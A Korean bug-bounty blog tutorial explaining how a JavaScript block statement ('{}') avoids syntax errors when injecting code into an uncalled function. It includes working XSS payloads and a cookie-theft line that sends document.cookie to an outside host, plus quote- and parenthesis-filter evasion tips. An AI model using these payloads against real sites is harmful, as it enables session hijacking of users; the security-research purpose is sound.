본문 바로가기
  • True knowledge exists in knowing that you know nothing. -Socrates-
web/웹 해킹 및 보안

NEW? XSS Error bypass using '{}' (js block statement)

by intadd 2020. 2. 25.

 

 

 

안녕하세요. 

intadd 입니다.

 

 

이번엔 js code block statement를 활용한 xss error bypass를 해보겠습니다.

 

바운티 하다가 우연히 찾게된 방법인데  매우 신기해서 작성하게 되었습니다. 

 

이 우회 기법은 아마 버그 바운티 할 때 유용하게 사용 될 것 같습니다. 

 

아마 댓글에 누군가 어? 이거 이미 유명한 우회 기술 아님? 발생시,

제목의 NEW? 는 NEW?  가 될 것 같네요,, 

 

제가 bypass 하기 위해서 서칭을 해보았는데,, 일단 이 방법을 xss 우회 할 때 사용하는 문서는 못봤습니다. ㅜㅜ

있으면,, 링크좀 부탁드리겠습니다. 아마,, 어디에서 이미 사용되고 있는 기술인데,, 제가 모르는 걸 수 도 있습니다... 

 

 

부제목은 '와 이게 되네'  입니다.

 

일단 원리를 먼저 설명 드리겠습니다.

 

 

본문 ( js block statement )

 

JS 에서 사용하는 {} 는 두 가지로 사용됩니다. object와 block statement;

 

1 번째 Object 로의 사용

(Python dict 처럼의 사용)

 

{'key': value} 요런식이 되겠네요 

 

가장 많이 알고 있는 사용법

 

다른 한가지는 block statement입니다.

 

function 이라던가 if 문,,,,for문,,,, 등등 다양한 문법 다음에 오게 되죠

 

설명을 위해 if 문을 사용했습니다 . function () 등등,, 에도 사용 되는거 아실거라 판단..

 

저는 이게 끝인줄 알았는데,,

 

JS에서는 2번과 같이 사용할 때 if 와 function 과 같은 사전 구문 없이독립적으로 사용이 가능했습니다.

 

이렇게 말이죠.

 

와 이게 된다고 ? 1
아니 이게 된다고? 2

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?

 

 

 

 

자 그러면 이 {} 를 if 가 사용한것 처럼 단순히 코드 블럭이라고 생각해봅시다.

 

그러면 저희는 이렇게 사용 할 수 도 있습니다.

 

와 이게 된다고????

 

또한 잘 생각해보면 {} 안의 구문이 코드들을 블럭 처리한다고 가정했을 때, 순차적으로 진행 될 겁니다.

 

{value1; value2; value3;} 가 있다면 , value1 이 실행(처리) 되고 value2, value3 순으로 실행(처리) 될겁니다. 

 

바로 테스트 해보겠습니다. 

 

이게 된다고?????
흥미

 

물론 {alert(1); alert(2); alert(3);} 또한 가능합니다. 

 

너무 신기하지 않나요??? 호호,,

 

 

대충 우연히 찾게되었는데 매우 신기하다는 짤 

 

그러면 block statement에 대해서는 이해가 되셨나요?

 

 

사실 이 구문은 원래 js 에서 사용할 수 있는 구문입니다.

https://developer.mozilla.org/ko/docs/Web/JavaScript/About

다만, 많은 사람들이 (저 포함) 몰랐을것 같습니다. (나만 몰랐나,,,?)

혹은, xss filter bypass에서 어떻게 활용 될 것인지 혹시, 모르실 수 도 있기에,, 

 

이 문법이 어디에 사용될지 이미 예상이 가시는 분들은 더 안 보셔도 될 것 같습니다..

아마 대부분 아시지 않을까,,, 

 

 

아무튼 이를 XSS filter bypass에서 어떻게 활용할 것인지를 작성해보겠습니다.

 

 

다시 본문 ,

 

이게 왜 ?????,

( 그냥 var a=1; var e=1 중괄호 없이 써버리면 되는거 아니냐,,,?)

혹은

( 아니 굳이 { 를 입력해서 안에 코드를 블럭 처리 형태로 만들어야하냐,,,?)

혹은

( 대체 이걸 왜, 어디에, 무엇을 위해,  쓴거지,,,,?)

( 이걸로 뭐할려고 ???)

 

의~~~~~~심~~~~~~~~

 

에 대한 대답을 해보겠습니다. 

 

 

이 구문?은  XSS 할 때 발생하는  특정 상황에서 유용하게 작용 될 수 있습니다. 

 

어떤 특정 상황에서 사용되면 좋을지 설명 드리겠습니다. 

 

1. JS Injection Point 

 

이미 많이 알고들 계시겠지만,

우리가 발생시키고자 하는 XSS는 html 삽입 백터에서만 발생하지 않습니다. 

 

예를 들어,

<script> alert(1);</script> 이런 것들이나, 혹은 

<img src=@ onerror=alert(1)> 등 에서만 발생하는 것이 아닙니다.

 

입력값 (GET 이든 저장값이든)이 JS 를 통해 접근(출력)될 때

JS 구문을 추가로 작성하여 XSS를 발생시 킬 수 있습니다.

 

이를 JS injection 이라고 합니다. 

(js 를 삽입할 수 있다는 조건이, html injection 도 가능 하다는 것이지만 , 사실 상 <, > 필터링이 걸려있으면 ,

js injection 만을 이용해야 합니다.)

 

 

저희가 본 js block statement 도 js 이기 때문에 js injection 포인트가 필요합니다.

(너무 당연한 이야기인가,,? )

 

간단한 JS injection XSS 예시를 보겠습니다. 

 

아아아아ㅏㄱ 내눈 ,,,,,,,, 

크흠 ,, 매우 보기 불편한 코드입니다.

 

5~6  라인만 보시면 됩니다.

GET 파라미터(inputA,inputB)를 가지고 js 를 만들고 있습니다. 

이렇게 입력해주면 ,

요렇게 입력해주면

이렇게 출력되겠죠?

요렇게 나오겠죠??

 

GET 파라미터가 없다는 가정 하에 위 코드는 매우 위험한 코드입니다. 

 

왜 위험한지는 다들 아시겠죠,,? 

음 SQLI 를 생각해보시면 아마 이해가 쉬울 것 같습니다. SQL 구문 삽입 == JS 구문 삽입 

이라고 보시면 이해가 가시겠죠??

 

var a="test"; 라는 구문에 test 값(inputA)을 검증 하지 않으면,

저희가 원하는 js 코드를 입력할 수 있습니다.

 

var a="test" 의 코드에  test 값을, test"; alert(1); //를 입력하는 겁니다. 

 

바로 JS Injection 넣어버리기,

위 코드의 소스코드를 확인해 본다면 ,

아래와 같습니다. //(주석) 을 통해 "; 문을 무효화 시키고, "; alert(1); 문법을 삽입했습니다.

 

alert 버억~

 

여기 까지 이해가 가시나요?

 

매우 간단한 js injection 을 통한 XSS 예시를 봤습니다. 

 

너무 ez 한거 아니냐,,,,,

 

사실 이렇게 간단한 코드만 있는 것은 아닙니다. 

어디에서 사용되는지에 따라 js injection 포인트가 다르기도 하고, 

 

reflected 일 수 도 stored 일 수 도 있습니다. 

 

또한 대부분의 경우에는 인자 값들에 대한 필터링이 걸려있습니다.

injection을 발생 시킨다고 해도,

필터링들을 우회하여 실질적으로 원하는 script 를 발생시키지 못 할 수도 있습니다.

 

저는 이런 포인트 들이 자주 발견되는 벡터는 대략 2개정도 인것 같습니다. [주관적]

(단순 js injection)

 

1. ajax 를 이용할 때 

2. callback 함수를 호출시 , 혹은 호출할 함수명을 넘겨받을 때 

3. 혹은 그냥  아무 기능 아닌 곳에서 아무 때나 발생

 

라고 생각됩니다. (제 경험 기준)

 

이제 XSS code block statement 가 필요한 상황에서 재현해보겠습니다.

(다른 우회 기술이 있을 수도 있습니다. )

 

우~~~~~우엑웩

 

여기서 중요한 코드는 11번 라인이겠네요

 

js injection 포인트입니다. 또 중요한 점이 있습니다.

 

바로 js injection 포인트가 function (함수) 안이라는 점입니다. 

 

또!, 이 함수는 호출되지 않는 다는 것을 알아야합니다. 

(이런 말도 안되는 예제가 어디있냐,,,;;;;;;; 정의만 하고 호출 안할때가 있긴 함??? ;;;;;--> 있습니다. ajax 등)

 

inputA 값에 hello 를 입력하면 , window.hello; 가 될 것입니다. 

 

너무 잘 기입되는 js 

 

위 코드는 아무 실행이 안됩니다. 왜냐하면, test() 함수를 지정만 해주었고,

호출을 안했기 때문입니다. 

 

사실 확인을 위해, 일단 원하는 js를 기입해보겠습니다. 

 

대충 hello; document. write('1') 기입 했다는 내용;

실제로 확인해 보면,

 

 

원하는 document.write('1')은 정상 기입이 되었지만,

실행을 시키지 못합니다. 왜냐하면 test()를 호출 한적이 없으니까요.

 

Console을 통해 test() 함수를 호출하면, log를 정상적으로 찍고, 저희가 기입한 js (1을 document 에 write) 코드도 잘 작동을 합니다. 

 

오른쪽에 문 뒤에 숨어 반만 쳐다보고 있는 1 보이시죠,,,,? 호호,,, 입력한 dcoument.write 입니다.
약간 이런 느낌 ?ㅈㅅ합니다.

 

자 우리는 이를 우회해야합니다. 

 

가장 쉬운 방법은 } 를 통해서 함수를 문법적으로 강제 종료 시킨 뒤,

뒤에 기입하는 js 문법이 함수 안이 아닌, 밖에서 JS가 실행되게 만들어야합니다. 

 

ez합니다.

 

input 값에, hello;} document.write('1'); 를 입력해주겠습니다. 

 

이러면  function test() 함수는 저희가 기입한 } 를 통해 종료(문법적으로) 될 것이고, 

그 뒤에 오는 document.write('1'); 함수 안이 아닌 밖에서 실행될 것입니다. 

 

크롬 : 야야야야야야야야 뭐하냐~? 에러나잖아 실행 안시킨다 참고해라 라는 내용입니다.

 

문법에러가 발생합니다. chrome 입장에서는 갑자기 } 를 왜쓰냐? 일겁니다. 문법에 안맞으니까요

 

저희는 저 빨간 x 친구를 해결해야합니다.

여기서 빨간 x는 JS 문법 오류를 나타냅니다.

매우 무서운 친구입니다.

 

아마 js injection을 벡터로 잡으신 분들은 많이 보셨을 꺼라 생각합니다.

일단 문법 오류가 나면 js 실행이 안되기 때문에, 아무튼 매우 무서운 친구입니다. 

 

술~~렁

 

자 이제 여기서 저희는 저 문법 오류를 제거 해야합니다.

 

생각 1 (SQL INJECTION 흑화 버전)

?: ㄱㅊㄱㅊ /* (js 전체 주석)으로 뒷 라인 전체 주석 시켜버리자  믿고 있었다구 ~ (%23, --+ 알제? )

어림도 없다는 크롬의 모습

자 일단 전체 주석도 안됩니다. 

 

 

생각2 (JS INJECTION 경험 다수 (거의 고수,,) )

흠,, 이거 일단 전체 주석은 안되니까,, 맨 뒤에 14 line } 를 우회 시키기 위해서

object 화 시켜서 문법 오류는 일단 피해보자. 

 

요런식으로  이런식으로 접근해보자.
너무 아쉬운데 이것도 안된다는 크롬의 모습

 

자 사실 이 오류는 오브젝트를 구성할 때 ; 게 있어서 그럽니다.

 

요렇게 말이죠,, 

저 ; 는 제가 만든게 아니라 사전에 기입되어 있는 ; 이기 때문에 마음대로 지울 수 가 없습니다. 

(제가 , 마음대로 --> inputA 을 통해서, vim 으로 서버 소스코드 수정 말고,,,, )

 

이제 심각한 고민에 빠집니다. 

문법 오류를 해결해야 js injection 이 실행이될 텐데 ,,, 여기서 어떻게 문법오류를 우회할 것인가.

 

 

이를 우회하는 방법 중 하나가 JS code block statement 입니다.

} 가 있을 경우에 문법 오류를 우회하기 위해서 사용 합니다. 

 

어떻게 사용하면 될 까요?  말 그대로 뒤에 나오는 code들을 block 처리하는 것 처럼 만드는 겁니다. 

{alert(1);} 처럼요

혹은 {alert(1); alert(2);} 처럼요

 

hello;} document.write('1'); {//

 

이렇게만 사용하면 됩니다. 

 

문법 오류를 탈피하고 document.write ('1') 을 한 모습.. 

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

됐다!!!!!!!

 

홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업 브로~

 

홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업홀업

 

아니 저 빨강 x 는 뭐냐,, 저건 왜 실행됩니까, 저것도 빨강 x 인데, 

합성 아님?

 

은 아닙니다. 

 

다른 에러 입니다. A 함수가 없는데 뭐하냐? 라는 크롬의 언어 입니다.  

 

이 처럼 문법 오류가 아니기 때문에 저희가 위에 작성한 코드는 정상적으로 실행이 됩니다. 

(TMI, A함수는, test() 함수 안에 있기 때문에 A()가 정의되지 않았다고 하는 겁니다. )

 

자 그러면 일단 저 에러도 잡고 응용도 해보겠습니다. 

 

{ 구문 안에다 입력해주면 되겠죠? A를 재정의 해주는 겁니다.

(밖에 다 써도 무방한데,, 일단 응용이니까,, ㅎ) 

 

input 값 : inputA=hello;}document.write('1'); {A=alert;//  
이런식으로 말이죠

 

ez

 

 

에러도 안나고 이쁘게 실행됩니다. 

 

이해가 다들 가셨을거라고 생각하지만 한번만 더 설명을 해보겠습니다.

 

hello;} 을 통해 저희는 function test() 함수를 문법적으로 종료 시켰습니다. 

 

그 뒤에 저희가 입력한 구문들은 함수 밖에서 실행이 될 것이고, 

 

그러면 순차적으로, document.write('1'); 을 실행할 것입니다.

그 뒤

{ A=alert;// ;

A(false); 

}

를 실행할 것입니다. {A=alert; A(false);} 라는 문법이 성립 되기 때문에 오류가 발생하지 않는 것입니다. 

 

 

호호 신기하지 않나요? ,,

 

자 이렇게 하면  끝인것 같습니다.

 

 

 

 

 

 

 

음 그런데 먼가 너무 짧거나,, 너무 쉽다는 생각이 드는 것 같습니다.

 

위와 좀 응용해서 실제 xss 에 어떻게 활용하면 좋을지 작성해보겠습니다. 

 

 

위의 예저는 문법오류를 우회? 하는 방법을 작성해 보았는데요,

사실 문법 오류만 우회하면 다른 필터링은 우회할 방법이 많습니다. 원하는 js를 기입할 수 있으니까요 

 

이번에는 이를 XSS 실제 쿠키 이동 코드를 짜면 어떻게 될까요?

 

 

이런거 겠죠?

 

{A=console.log;var url='http://intadd.kr/?cookies='; var cookies=document.cookie; 

location.href=(url+cookies);}

뭐 이런 코드가 될 것 같네요 

 

순차적으로 실행되기 때문에,

A=console.log;  없어두 됨

var url='http://intadd.kr/?cookies=' 실행

var cookies=document.cookie; 실행

location.href=(url+cookies); 실행

 

이되는겁니다. 그러면 제 서버로 cookie를 들고 이동하겠죠?

 

음,, 너무 간단하니 필터가 있다는 가정을 두겠습니다.

 

 

1. ' , " , ` 이 필터링이 걸려있을 때 

 

` 도 JS 문자열로 인식합니다. 이건 많이 알고 있으니까,, 

 

//도 문자열로 사용되는거 아시나요? /abcde/ 로 이용할 수 있습니다. 

 

var url = /intadd/

^^

이런 식으로요 ,, 만약 ', " ,` 가 필터가 걸려있으면 사실  문자열을 만드는 것은

그렇게 어렵지 않습니다 .

뭐 이런것들을 사용하면 쉽게 만들 수 있습니다. 

 

근데 "(" 와 ")" 가 필터링이 걸려있으면 문자열을 어떻게 만들까요?

함수를 아예 사용하지 못하기 때문에 조금 난감합니다. 

 

하지만 만들 수 있습니다. 

세션은 날릴테니 돈 워리 ,,

 

이런식으로 만든후 a[0] 처럼 index 로 하나씩 가져와서 조합 할 수 있습니다. 

 

{} 응용하면 {var url= locadtion.href; var e= url[0]+url[1]......; location.href=e}

뭐 이런 식이 되겠네요

 

찾아보면 js fuck 이라던가 등등  신기한 것들이 많습니다. 관심 있으신 분은 찾아보시길 우회 기술은 많습니다.

 

 

:) 그럼 전 이만 

감기 조심하자는 인사말 (코로나 조심합시다 ㅜㅜ)

 

댓글